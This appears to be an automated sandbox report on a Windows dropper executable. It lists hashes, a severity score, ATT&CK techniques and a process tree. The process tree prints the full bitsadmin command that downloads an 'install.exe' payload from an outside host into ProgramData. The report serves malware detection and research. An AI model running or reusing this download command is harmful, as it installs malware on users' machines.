2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
14/08/2026, 03:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe
Size 255KB
Sample260814-dtdzcstdqe
SHA256 2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0
MD5 943c92f47e101e6bfcca29733cd14336
SHA1 40fa9562a1831e3a44c6b24f6f0ee05bf9c9c0d1
SHA512 5e2a7c9629629192f0af43442fc99c5fe9be636f5dda6fb9c572df129eba2397ecc0095c41a47b192c985214186dfe2b1209a44a1d428882ba2d66715e40728c
SSDEEP 6144:Xt5hBPi0BW69hd1MMdxPe9N9uA069TBKrzmc7kO2+Ma7HAdQCDDibG1m0yj:Xtzww69Tgfmc7kOdMuAZD+bG1mx
TLSH
T1D044BE57B2E01198EBB582F6D5920706EB7074761714A3DB27B863B22B2B4C99F3C3D4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

dropper execution

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4868	bitsadmin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2344	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 2344	1864	2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe	86
PID 2344 wrote to memory of 4868	2344	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe
"C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6201.tmp\6202.tmp\6203.bat C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer "FileDownload" /download /priority FOREGROUND "http://slumzick.in.th/install.exe" "C:\ProgramData\slumzkck.exe"
    3⤵
    - Download via BitsAdmin
    PID:4868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

6203.bat

Path C:\Users\Admin\AppData\Local\Temp\6201.tmp\6202.tmp\6203.bat
Size 602B
SHA256 16a56b1fa92dff89a84a6cdca79106c263cd8c83bb31f832715df000a7581bc3
MD5 0df94b3c96353367c3500b3d21e1e57f
SHA1 49fbf25da9a3e9a75a97ed827f9f8c48b78995b0
SHA512 6ce9d3eb1fd15f962746fd00364ebd2122d36c56b2511eb38e515ba25fd1832447f533ad8bd36f8a9c15739abc421eeef83e148444d09ff1a369351144ad9b2d
TLSH
T190F081A77103919539349F0B07A93989D6AACA9E3FB6B4C13044409B7BF078B0C19DB6
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads